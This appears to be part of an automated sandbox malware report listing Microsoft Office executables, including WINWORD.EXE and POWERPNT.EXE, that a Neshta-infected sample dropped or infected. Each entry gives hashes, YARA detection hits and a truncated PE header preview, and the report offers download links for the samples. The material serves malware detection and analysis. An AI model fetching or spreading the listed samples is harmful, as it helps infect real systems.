                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):2233240
                                                                  Entropy (8bit):6.2971498741833525
                                                                  Encrypted:false
                                                                  SSDEEP:24576:LDZgOA74U4o//sbtwvZTqFDk9sg71SmY90gh/G7QJoma+9duNGeVG29H:vqHVhTr5UmY90sGE5dIDG29H
                                                                  MD5:B30942151231700F5D6432BA1B1A0C0E
                                                                  SHA1:670E354D40154284F518603B702DC0B7EE94DF82
                                                                  SHA-256:F8677E5F13CEF8B175C10B333927AFF942E46A9F0C73BE91E9BA8A424B878ABD
                                                                  SHA-512:8652C36DF9B5A8B245E3F0A4AECEC55E46B55D18020A11AA0BFC0BFDB532870AE06CECFDBC15000B287E171177570A4EFEE44E2F2EF9B228221C93074A65DB37
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\ONENOTE.EXE, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\ONENOTE.EXE, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft Office\root\Office16\ONENOTEM.EXE

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):214432
                                                                  Entropy (8bit):5.994507792871334
                                                                  Encrypted:false
                                                                  SSDEEP:3072:sr85CIVFptXofXXXXXXuh9gLzltw6Q1hqOJHrtTh:k9YtXofXXXXXXASLzb9uhqK
                                                                  MD5:74D1B233AC72ECF698C6A7C899B119BE
                                                                  SHA1:EEF35AD9326A5A3E3E9F517DAF69D57D0B700DD3
                                                                  SHA-256:A74DA825D78F461489E405F90CCCE848699A5548DA0D921864486DC95F18BAF6
                                                                  SHA-512:FA9D2E78E79A108AEFCFAE48D040EAF500B72B77C3F62404565D257642FC848405FEC7364A8F1F98EEF00B5725C25A77B5C4B37B3CB60A0DC3909A2FE3C5D6C0
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\ONENOTEM.EXE, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\ONENOTEM.EXE, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft Office\root\Office16\ORGCHART.EXE

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):620840
                                                                  Entropy (8bit):6.585082275251885
                                                                  Encrypted:false
                                                                  SSDEEP:12288:ioBdI/BUQtsfBCegl2eccL1q/xRyye7BfcwqEhDe:ioM/BB0Bml2m1q/xRPCcwFC
                                                                  MD5:91F300014FBA9310BBDBE0CFDEC9A819
                                                                  SHA1:8091C24B7EFF0215CAF7424ED956322E0E9B4476
                                                                  SHA-256:450D510099056DD9E931D0094D6963A07544E91B3D84A29CA05223C35273A22E
                                                                  SHA-512:B39BD37C0DD05D81647E4C42F0E43CEC41DA0291DAC6F7E10670FD524635086B153025F4E4450ED1D51DF6F9C238DC7BAB3DDCDBE68822AEEF9B79827EE1F0F6
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\ORGCHART.EXE, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\ORGCHART.EXE, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft Office\root\Office16\OcPubMgr.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):1568248
                                                                  Entropy (8bit):5.675955532170124
                                                                  Encrypted:false
                                                                  SSDEEP:12288:+wF+k53zCG2tIuQ6DtJQSZDhLOhkZzV5i9w/lmd+jrcUiACW:bFXG6uQ6D9L2uV50AlmsjYUiAB
                                                                  MD5:59BBEC68CF2ABBE0AA71761A90902F8E
                                                                  SHA1:CA4DE80AC4640A32C495FCE0237F46D45565745C
                                                                  SHA-256:2289860922074D80B8F52D6014A3002061616342E0CA952A6A6608E83434F8C4
                                                                  SHA-512:4CED0681CC7B5F9F40E4F7496F692A55C71C0DB1E2DBC93C08D8415DF9914F01FA8E45AA9FD276305DF824B7C3742E39BAE005CBB4A851B9E264E5129216B43E
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OcPubMgr.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OcPubMgr.exe, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft Office\root\Office16\OfficeScrBroker.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):634800
                                                                  Entropy (8bit):6.709073721775351
                                                                  Encrypted:false
                                                                  SSDEEP:12288:jf/4sOdw+RfEB6tuAlnWhGZco6ijmn5jFTSt7yCPUkazi7JThVoSZeR6aQTJ:7/4Vdw+Ra6V6g2kazidN6SoEVF
                                                                  MD5:93B1C57F0B5C441FF47190254B01C47D
                                                                  SHA1:8DDFB09946D30CFC78B8D9C4DA9AB19FD0EAE045
                                                                  SHA-256:846FDD3E11DAE5A991888539674DFB6649A1960E724CF72E2D8E37A23C357609
                                                                  SHA-512:5B15EBBCBD69C6BE2CCA96D6C0635FFADD5312BB8EE7FFC6A655D191F5EE25EEEA20EA95D92EF45B47D5AC54BB3216C74D0D4DAC3DB1C5A18B0230F285D5B588
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OfficeScrBroker.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OfficeScrBroker.exe, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft Office\root\Office16\OfficeScrSanBroker.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):748192
                                                                  Entropy (8bit):6.713281323235293
                                                                  Encrypted:false
                                                                  SSDEEP:12288:KKxLM1deLycUTc1kZi7zb1QRHhhj7WGvF5PYcdTFtZ3G97aSDGGHrbTwqFwydBf6:KyY14evTc1kZi7zb1KHL8vbTlwOBC
                                                                  MD5:D995BB9A7D45C056184104F03848D134
                                                                  SHA1:794094754972689F4ADF9F876F60440FA74FBD2B
                                                                  SHA-256:CD263241B90D11DB8E0A0EE42D47AB1F7517675F53C2B8D92C61471746BE2276
                                                                  SHA-512:89C4B7AF03DF6B2FE3BBF56D476497E9102B0ADD24552A78D164DDAEE453AA1760D12EB4ABA0501A58BD5F00B00DA36CA0BEDD542B271DC08ECFFF9395495643
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OfficeScrSanBroker.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OfficeScrSanBroker.exe, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft Office\root\Office16\POWERPNT.EXE

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):1917048
                                                                  Entropy (8bit):3.840447707777205
                                                                  Encrypted:false
                                                                  SSDEEP:6144:k9GBeXsm81c57ZXFzY5Ucyw4TapP25xxlq4cUcMeTOMzwMwZ:DKs78A5UcyOPexxPcUcMeyvZ
                                                                  MD5:87330F5547731E2D56AD623ECDA91B68
                                                                  SHA1:273DC318E8812B3BC6457B0EBEE15F9A7F1D0C5E
                                                                  SHA-256:268E93C44BE7EFF8D80A2B57427FCA2C98E9B08B3E865FFD3C943497AF6408FB
                                                                  SHA-512:DF4DBF95080AA5378E2E0BC5BAD584C6C63ED6464BB855F84AB315B00B9CE08948BE4C69D7442C2BB96969E69596964510D2FECE737CAE39833628183550D19E
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\POWERPNT.EXE, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\POWERPNT.EXE, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft Office\root\Office16\PPTICO.EXE

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):4099520
                                                                  Entropy (8bit):3.72186927452059
                                                                  Encrypted:false
                                                                  SSDEEP:12288:zyKs7cvZIFpCYVIUN2mGsb8HtkLaHLH04cLbUBRjLmP29DyZbT9oc/m06aCzE6hE:zyKsY+dy0ZScIBqBT11S0
                                                                  MD5:25E8600B1421194802B2569899E75383
                                                                  SHA1:01EFD3FABD4EDF0733F46D91FB9109523E943C15
                                                                  SHA-256:50280C7E926F959E876BA1BB0611F6C0BAB04EDCEB300D936A887FD3CC9EDE1B
                                                                  SHA-512:DD49E97D675CADA18BA0EC91B4B0A6DF16A86D17344099E3265D3FAA8C576106DADE231C2829FC1D758EECC24343C6AF345CABEF16E91B3854BDA3824AD61541
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\PPTICO.EXE, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\PPTICO.EXE, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft Office\root\Office16\PerfBoost.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):452120
                                                                  Entropy (8bit):6.067280009012926
                                                                  Encrypted:false
                                                                  SSDEEP:6144:k9xvhCpFviM0OKAOVf3m+2fCz29fx8/eAeTu:GEpFVKj3mFn9q
                                                                  MD5:7EDAA2971D821AB859302C57099296BF
                                                                  SHA1:3D7F419C517B8C3F3B881E7B248D2C4F7723664D
                                                                  SHA-256:CDB80830E3601071C86E0725AE58C9EDCE109BA793910F8C994526EC4E98F275
                                                                  SHA-512:4EB61A55475E6E87542748AE5C4CCC5B07C4840BF95A84342F09FE21C193B3C4040C27237EEFA4EA469180D24D44B591B1F2833441E456F4E2671A45B9D24121
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\PerfBoost.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\PerfBoost.exe, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft Office\root\Office16\SCANPST.EXE

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):116664
                                                                  Entropy (8bit):6.595026282405323
                                                                  Encrypted:false
                                                                  SSDEEP:3072:sr85C/uGaz7jFQ68ICP5q0WISDr34W+wst:k9/RazrA5q0WISDrZS
                                                                  MD5:42085E45C7B5872D0E034915481A8111
                                                                  SHA1:291E458BAD0A8EE5E491301224197ED1B4E00899
                                                                  SHA-256:E8180D00A2F330E6EF33CEFC29896F0F77FF21C1FF23A637A003D97FA9DB62D4
                                                                  SHA-512:0AFD24F81C375210CC5A379FCFFE82B0A50B709A149AE1FB92E4470BF9F1AAF1500BF128C4F4766071C54AE32E89A15A0FB002D64D715601BD7E010E25E1441D
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\SCANPST.EXE, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\SCANPST.EXE, Author: ditekSHen
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\SCANPST.EXE, Author: ditekSHen
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\SCANPST.EXE, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft Office\root\Office16\SDXHelper.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):167392
                                                                  Entropy (8bit):6.553431728074077
                                                                  Encrypted:false
                                                                  SSDEEP:3072:sr85C6WKZbTKeR3Tzp+8IxR8jYYrjHaVLIPSL1CgNX:k96WK11Rp+8II5SLUgp
                                                                  MD5:48284F62E79703C80F768CE0ECE7143D
                                                                  SHA1:70DED4ABEB18FEC56583A1F049F4D39507F983B4
                                                                  SHA-256:1BFDD1474D84B058F2C6F19216FB31DC42DA4E42FEF61923814B304276CC08F7
                                                                  SHA-512:A9DD19BA1321A56C4FE3B9CF83E2AFE51D4C915B4F7078EA90F8C3415F64C9F0C3A52DC614AF785045036710D6D819E270B5887F6B198DCDFF9953B8289EAC72
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\SDXHelper.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\SDXHelper.exe, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft Office\root\Office16\SELFCERT.EXE

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):670928
                                                                  Entropy (8bit):6.025784704076014
                                                                  Encrypted:false
                                                                  SSDEEP:12288:ewbRB+ZRhFfGNpzX5PtiPWRnTLtx5eq4/RnYRoS2Ds+2EYR1XLlShtg7ksyST2Rz:ewbT+ZR3fGrzX5PtiPWRnTLtx5eq4/R9
                                                                  MD5:7C0014593C4D645EC8F351AB5F1AB01D
                                                                  SHA1:967B743450942FF50B9E75281B40B215478D85F0
                                                                  SHA-256:638614E2B6B2A4E1EB168BF56825B004EF1F247C6E8F27D103BD1D05F18BB0E6
                                                                  SHA-512:E826164FA068FE3709D1D385CBDA3CA3CA5E6A28A50151CFBB214F3C19783D967F67567E40B390E4905655D8340FCC577A63C97293E0110A1E5F3F6651AEB7FC
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\SELFCERT.EXE, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\SELFCERT.EXE, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft Office\root\Office16\SETLANG.EXE

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):115920
                                                                  Entropy (8bit):6.223528340566431
                                                                  Encrypted:false
                                                                  SSDEEP:1536:JxqjQ+P04wsmJC5w9K75Rp1Ukkz2zct/rzdaBotnMuvWM6TUaE:sr85C5w9K1Fiz2ir+o5vWM6TUaE
                                                                  MD5:499B11002EBE7BD06FB04458174FF873
                                                                  SHA1:AF90D819CBB316CC4CD9DB1D1E1876129BF6EABD
                                                                  SHA-256:D59CFF7BC9B1DE8E82D900CDC3A6E2969A14E454FECF6FD068B51CDF1FD6125A
                                                                  SHA-512:3392C369F2E777155C76E35D1A9309870C87033FBFF32DBA4CCE3AF8525EC49E397C3655016C34B00BC8A7913E0E73151C2C00A0138C639D15CBDC9A16F0478D
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\SETLANG.EXE, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\SETLANG.EXE, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft Office\root\Office16\SkypeSrv\SKYPESERVER.EXE

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):137776
                                                                  Entropy (8bit):6.532718929417626
                                                                  Encrypted:false
                                                                  SSDEEP:1536:JxqjQ+P04wsmJCfLS+I1HtQdiHN4zbyezltnzGd1XuDxhkrTJwNZ5wmW1aHbfC:sr85CsMi+zWeXdswvqiHm
                                                                  MD5:0113D4FE73CAEE2B078E5C5B22E0A55A
                                                                  SHA1:DF82348BA214A6969E368DD516BE07AACADC3144
                                                                  SHA-256:1415C64134FA9678BD5CBB27D189C8CC84BEE485E7CD1454FC2180FEABF8864F
                                                                  SHA-512:B0DE44B4E1B6B33C7479C54F02EF6663CF3C2F88CD736423438B46B4E199B5FD51C3E99239BB8B16D6888C613A8CE43D124CB9DAB8ADB561100792452FEDEEF5
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\SkypeSrv\SKYPESERVER.EXE, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\SkypeSrv\SKYPESERVER.EXE, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft Office\root\Office16\UcMapi.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):1206680
                                                                  Entropy (8bit):4.883403224196095
                                                                  Encrypted:false
                                                                  SSDEEP:12288:E61ZFViRpx5tuwZl4asd/arEISgX0IkEMhTy:E61jViRTfVINdCr6gX0hEl
                                                                  MD5:C3E399A5C28495C77505132DA8625D40
                                                                  SHA1:7F1BC44F6A53E73B222CA0FEC685D4273BD4DFC9
                                                                  SHA-256:DBA08F8269955771CC3598E1168843F954B0CBCAB7A74BEF8905F56C111F2C55
                                                                  SHA-512:72C810017137B35B956E26BB0730F1E4EFC0CFDE9BDD5266FCB993CE69635CDA50EB9B3223CCFC2C340D336BAD4F78205D60A7625E37A72A2796C0A5537DEA5C
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\UcMapi.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\UcMapi.exe, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft Office\root\Office16\VPREVIEW.EXE

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):400336
                                                                  Entropy (8bit):6.662296849527125
                                                                  Encrypted:false
                                                                  SSDEEP:12288:81rOCPapfd5bhooUBuFiExw/LXa20Dj6EzfJ:ArfIbbhooUBu3wzXa/Dj64
                                                                  MD5:5087CFC731A5F640730910C5104B27FE
                                                                  SHA1:3B723898F092788548173BB2DD0C55A85D1D7C92
                                                                  SHA-256:CACE1F97FC187C817C1FAE597C47782279115799F495462F9BA1EBF1C97001A3
                                                                  SHA-512:A3FBBB913B2D3827B9191C394D2A0EB76FA71A8C870BAF05BB68A04FFAB76BA0F4500D13B5024FF27E39BA671CEEC9B5BA1715D04BD2961ECE04BC4FE6D8E222
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\VPREVIEW.EXE, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\VPREVIEW.EXE, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):1662344
                                                                  Entropy (8bit):4.282519659984365
                                                                  Encrypted:false
                                                                  SSDEEP:3072:sr85CdK2OKsuWoZEsVK2OKsuWoZEckAQckAIDpAPfKrss1yyKrss1yAZDvYbNDz8:k9DztkAzkAZqrEdrEAZUCwFjNNYEzcL
                                                                  MD5:7A621A47B55EB778A1DC58DA026F13FA
                                                                  SHA1:179FC259659B020F4495DBDB9349A78EEA8D172B
                                                                  SHA-256:9591264BFC2E13FB5BC8277DDB0FA59F3CB6F9941BE54B340689CB2D3028BDE2
                                                                  SHA-512:0964AF4B382A17CE52F817906914D990AD4B2584CCAF7B8887BE7058C4AFE3255741344DE6FC6AD0744717106986E7723F1C9F5CBD7A13A32C552AC70AD25E56
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE, Author: ditekSHen
